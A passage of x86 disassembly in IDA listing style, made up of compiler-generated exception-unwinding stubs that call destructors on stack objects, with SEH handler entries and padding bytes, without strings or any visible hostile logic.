		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439048:				; DATA XREF: ___:0040F148o
		mov	eax, offset dword_43F788
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		jmp	sub_402031
; ---------------------------------------------------------------------------


loc_439078:				; DATA XREF: ___:0043F814o
		mov	ecx, [ebp-28h]
		add	ecx, 28h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 3Dh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 56h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 84h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 0B2h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 0E0h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 10Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 13Ch
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 16Ah
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 198h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 1C6h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 1F4h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 222h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 250h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 27Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 2ACh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 2DAh
		jmp	sub_401B54
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40F600	proc near		; DATA XREF: sub_40F600+2o
		mov	eax, offset dword_43F7E8
		jmp	sub_4367C8
SEH_40F600	endp

; ---------------------------------------------------------------------------
		db 69h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_402031
; ---------------------------------------------------------------------------


loc_439268:				; DATA XREF: ___:0043F974o
		mov	ecx, [ebp-10h]
		add	ecx, 28h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Dh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 56h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 84h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B2h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E0h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 10Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 13Ch
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 16Ah
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 198h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1C6h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1F4h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 222h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 250h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 27Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2ACh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40FDA0	proc near		; DATA XREF: sub_40FDA0+2o
		mov	eax, offset dword_43F948
		jmp	sub_4367C8
SEH_40FDA0	endp

; ---------------------------------------------------------------------------
		db 47h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-247Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43939B:				; DATA XREF: ___:0043FA2Co
		lea	ecx, [ebp-210Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-207Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4393B1:				; DATA XREF: ___:0043FA3Co
		lea	ecx, [ebp-237Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4393BC:				; DATA XREF: ___:0043FA44o
		lea	ecx, [ebp-21CCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4393C7:				; DATA XREF: ___:0043FA4Co
		lea	ecx, [ebp-234Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4393D2:				; DATA XREF: ___:0043FA54o
		lea	ecx, [ebp-2064h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4393DD:				; DATA XREF: ___:0043FA5Co
		lea	ecx, [ebp-231Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4393E8:				; DATA XREF: ___:0043FA64o
		lea	ecx, [ebp-219Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4393F3:				; DATA XREF: ___:0043FA6Co
		lea	ecx, [ebp-20DCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-22ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439409:				; DATA XREF: ___:0043FA7Co
		lea	ecx, [ebp-22BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439414:				; DATA XREF: ___:0043FA84o
		lea	ecx, [ebp-23DCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43941F:				; DATA XREF: ___:0043FA8Co
		lea	ecx, [ebp-216Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43942A:				; DATA XREF: ___:0043FA94o
		lea	ecx, [ebp-2424h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-23F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-228Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-23C4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-225Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439499:				; DATA XREF: ___:0043FADCo
		lea	ecx, [ebp-213Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4394A4:				; DATA XREF: ___:0043FAE4o
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4394B2:				; DATA XREF: ___:0043FAECo
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-21FCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-222Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4394E1:				; DATA XREF: ___:0043FB0Co
		lea	ecx, [ebp-2394h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-23ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4394F7:				; DATA XREF: ___:0043FB1Co
		lea	ecx, [ebp-2334h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2364h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43950D:				; DATA XREF: ___:0043FB2Co
		lea	ecx, [ebp-2304h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439518:				; DATA XREF: ___:0043FB34o
		lea	ecx, [ebp-22D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439523:				; DATA XREF: ___:0043FB3Co
		mov	ecx, [ebp-2480h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43952E:				; DATA XREF: ___:0043FB44o
		lea	ecx, [ebp-22A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439539:				; DATA XREF: ___:0043FB4Co
		lea	ecx, [ebp-2244h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2274h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43954F:				; DATA XREF: ___:0043FB64o
		lea	ecx, [ebp-2214h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43955A:				; DATA XREF: ___:0043FB74o
		lea	ecx, [ebp-21E4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439565:				; DATA XREF: ___:0043FB7Co
		lea	ecx, [ebp-2184h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-21B4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43957B:				; DATA XREF: ___:0043FB94o
		lea	ecx, [ebp-243Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-240Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439591:				; DATA XREF: ___:0043FBACo
		lea	ecx, [ebp-2124h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2154h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4395A7:				; DATA XREF: ___:0043FBBCo
		lea	ecx, [ebp-20F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4395B2:				; DATA XREF: ___:0043FBC4o
		lea	ecx, [ebp-2094h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-2464h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20C4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4395D3:				; DATA XREF: sub_40FF60+8o
		mov	eax, offset dword_43FA00
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 93h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_402031

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411860	proc near		; DATA XREF: sub_411860+2o
		mov	eax, offset dword_43FC10
		jmp	sub_4367C8
SEH_411860	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_402031

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411910	proc near		; DATA XREF: sub_411910+2o
		mov	eax, offset dword_43FC40
		jmp	sub_4367C8
SEH_411910	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4396B8:				; DATA XREF: ___:0043FC9Co
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 54h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 69h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411990	proc near		; DATA XREF: sub_411990+2o
		mov	eax, offset dword_43FC70
		jmp	sub_4367C8
SEH_411990	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439718:				; DATA XREF: ___:0043FCF4o
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 54h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 69h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411A50	proc near		; DATA XREF: sub_411A50+2o
		mov	eax, offset dword_43FCC8
		jmp	sub_4367C8
SEH_411A50	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411B40	proc near		; DATA XREF: sub_411B40+8o
		mov	eax, offset dword_43FD20
		jmp	sub_4367C8
SEH_411B40	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4397E8:				; DATA XREF: ___:0043FDCCo
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411FE0	proc near		; DATA XREF: sub_411FE0+8o
		mov	eax, offset dword_43FDA0
		jmp	sub_4367C8
SEH_411FE0	endp

; ---------------------------------------------------------------------------
		db 2Dh dup(0CCh)
; ---------------------------------------------------------------------------


loc_439890:				; DATA XREF: ___:0043FE6Co
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-48h]
		and	eax, 1
		test	eax, eax
		jz	locret_4398AE
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_4398AE:				; CODE XREF: ___:004398A0j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4126B0	proc near		; DATA XREF: sub_4126B0+2o
		mov	eax, offset dword_43FE40
		jmp	sub_4367C8
SEH_4126B0	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4398D8:				; DATA XREF: ___:0043FEA4o
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_412970	proc near		; DATA XREF: sub_412970+8o
		mov	eax, offset dword_43FE78
		jmp	sub_4367C8
SEH_412970	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_412C10	proc near		; DATA XREF: sub_412C10+2o
		mov	eax, offset dword_43FEB0
		jmp	sub_4367C8
SEH_412C10	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439918:				; DATA XREF: ___:0043FF0Co
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-9Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43994E:				; DATA XREF: ___:00412CB8o
		mov	eax, offset dword_43FEE0
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43997B:				; DATA XREF: ___:0043FF6Co
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_4011B8
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Ch
		jmp	sub_4014B5

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413120	proc near		; DATA XREF: sub_413120+2o
		mov	eax, offset dword_43FF40
		jmp	sub_4367C8
SEH_413120	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_4011B8
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Ch
		jmp	sub_4014B5

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413220	proc near		; DATA XREF: sub_413220+2o
		mov	eax, offset dword_43FF88
		jmp	sub_4367C8
SEH_413220	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4132E0	proc near		; DATA XREF: sub_4132E0+2o
		mov	eax, offset dword_43FFD0
		jmp	sub_4367C8
SEH_4132E0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4133D0	proc near		; DATA XREF: sub_4133D0+2o
		mov	eax, offset dword_440008
		jmp	sub_4367C8
SEH_4133D0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413510	proc near		; DATA XREF: sub_413510+2o
		mov	eax, offset dword_440038
		jmp	sub_4367C8
SEH_413510	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+1Ch]
		jmp	sub_401578
; ---------------------------------------------------------------------------


loc_439A78:				; DATA XREF: ___:00440094o
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413670	proc near		; DATA XREF: sub_413670+2o
		mov	eax, offset dword_440068
		jmp	sub_4367C8
SEH_413670	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439A98:				; DATA XREF: ___:004400CCo
		lea	ecx, [ebp-0A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-8Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4137E0	proc near		; DATA XREF: sub_4137E0+2o
		mov	eax, offset dword_4400A0
		jmp	sub_4367C8
SEH_4137E0	endp

; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+1Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439AD8:				; DATA XREF: ___:0044010Co
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_401578

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4139B0	proc near		; DATA XREF: sub_4139B0+2o
		mov	eax, offset dword_4400E0
		jmp	sub_4367C8
SEH_4139B0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439B08:				; DATA XREF: ___:00413AE2o
		mov	eax, offset dword_440120
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439B28:				; DATA XREF: ___:0044017Co
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439B30:				; DATA XREF: ___:00440184o
		mov	eax, [ebp-40h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_439B3B:				; DATA XREF: ___:0044018Co
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413B70	proc near		; DATA XREF: sub_413B70+2o
		mov	eax, offset dword_440150
		jmp	sub_4367C8
SEH_413B70	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+64h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439B68:				; DATA XREF: ___:004401C4o
		lea	ecx, [ebp+4Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+34h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+1Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-10h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413DA0	proc near		; DATA XREF: sub_413DA0+2o
		mov	eax, offset dword_440198
		jmp	sub_4367C8
SEH_413DA0	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439BBB:				; DATA XREF: ___:0044021Co
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414090	proc near		; DATA XREF: sub_414090+2o
		mov	eax, offset dword_4401F0
		jmp	sub_4367C8
SEH_414090	endp

; ---------------------------------------------------------------------------
		db 15h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439BF8:				; DATA XREF: ___:0044025Co
		mov	ecx, [ebp+14h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+0Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439C10:				; DATA XREF: ___:00414122o
		mov	eax, offset dword_440230
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+4Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439C38:				; DATA XREF: ___:004402A4o
		lea	ecx, [ebp+34h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+1Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-10h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414230	proc near		; DATA XREF: sub_414230+2o
		mov	eax, offset dword_440278
		jmp	sub_4367C8
SEH_414230	endp

; ---------------------------------------------------------------------------
		db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439C88:				; DATA XREF: ___:004402F4o
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414360	proc near		; DATA XREF: sub_414360+2o
		mov	eax, offset dword_4402C8
		jmp	sub_4367C8
SEH_414360	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439CC8:				; DATA XREF: ___:0044033Co
